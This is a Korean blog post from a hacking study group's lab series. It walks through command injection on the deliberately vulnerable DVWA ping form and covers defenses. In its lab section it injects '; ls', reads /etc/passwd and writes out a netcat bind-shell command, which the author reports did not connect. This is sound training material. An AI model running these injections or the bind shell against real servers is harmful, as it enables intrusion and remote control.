[Command Injection 공격의 정의]
시스템 함수 호출이 진행될 때 사용자 입력에 메타 문자를 사용하여 추가적인 명령어를 수행하게끔 해서 의도하지 않은 행위를 하게 한다.
-> 시스템 함수는 서버의 권한으로 호출되기 때문에 중요한 파일을 읽어낼 수도 있다.
[연계 공격]
1. 바인드 쉘 : 취약한 서버의 포트가 열렸을 때 (Listen 상태) 해당되는 포트에 접속하여 쉘을 생성하는 것이다.
2. 리버스 쉘 : 해커 쪽의 포트를 열어 취약한 서버 쪽에서 접속하여 쉘을 생성하는 것이다.
-> 방화벽을 뚫기 위해서 사용함.
[공격을 보안하는 방법]
1. 개발자는 입력 값에 대해 메타 문자의 유무를 확실하게 검사한다.
2. 시스템 메타 문자를 해석 하지 않고 그대로 사용하는 함수를 사용해야 한다.
[초기 화면]
- IP address 를 입력하면 Ping 을 보내는 기능을 수행한다.
- 드림핵에서 실습한 내용과 매우 유사하다.
- ; && | 메타 문자를 사용하여 명령어를 실행시켜보았다.
- ; ls 를 사용해보니 파일들의 목록이 출력되었다.
- 메타문자와 명령어가 실행된다는 것을 알 수 있다.
- /etc/passwd 에는 사용자들의 정보가 담겨있는 파일인데 이를 출력해보았다.
- 계정들의 정보를 다 확인할 수 있었다.
- id 명령어를 통해서 현재 계정의 권한을 살펴보았다.
[View Source]
- 위와 같은 명령어가 실행 가능했던 이유는 shell_exec() 덕분이다.
- shell_exec() : 실행 결과를 변수로 받을 수 있는 시스템 함수이다. -> echo "<pre>{$cmd}</pre>" 가 가능한 이유다.
- 이렇듯 메타 문자를 사용하여 서버의 권한으로 명령어를 실행할 수 있다.
- 추가적으로 연계 공격의 바인드 쉘을 실습해보았다.
바인드 쉘을 생성하는 이유는 해커가 명령어를 손쉽게 사용하기 위함이다. -> netcat 을 이용한다.
[ 바인드 쉘 공격 시도 ]
mkfifo /tmp/pipe
sh /tmp/pipe | nc -l 4444 > tmp/pipe
- mkfifo 명령어 : 리눅스에서 프로세스 간 통신에 사용되는 FIFO 를 생성하는 명령어이다.
- nc 명령어 : 커맨드 쉘을 생성해주는 명령어다.
- TCP 의 4444번 포트를 바인드하여 Listen 상태의 바인드 쉘이 생성된다.
- 이때, 포트를 연 상태에서 해당 서버로 접속하기 위해서는 서버의 IP 주소가 필요하다.
- ip 주소를 획득했으니 이제 바인드 쉘을 생성해보자.
- 해당 명령어를 입력하고 제출했다.
- /bin/sh 가 종료되지 않고 실행 중이라 페이지 로딩만 계속 뜨는 거라고 한다.
- 가상머신의 Window10 에서 netcat 을 깔고 환경변수 설정까지 한 다음 nc 해당 ip 주소 4444 명령어를 입력했지만 연결되지 않았다.
- 가상머신에서 가상머신이라 뭔가 또 다른 추가적인 조치를 해줘야하는 것 같다.
- 바인드 쉘까지 실습해보고 싶었는데 몇 번이나 시도했지만 성공하지 못했다..
'TeamH4C' 카테고리의 다른 글
[빡공팟 5기] W5 : DVWA 실습 - File Inclusion (0) | 2022.10.23 |
---|---|
[빡공팟 5기] W5 : DVWA 실습 - CSRF (0) | 2022.10.23 |
[빡공팟 5기] W5 : DVWA 실습 - Brute Force (3) | 2022.10.18 |
[빡공팟 5기] W4 : Web Hacking 로드맵 총 정리 +) NoSQL Injection 포함 (0) | 2022.10.18 |
[빡공팟 5기] W4 : Web Hacking 로드맵 - STAGE 8 - SSRF (1) | 2022.10.18 |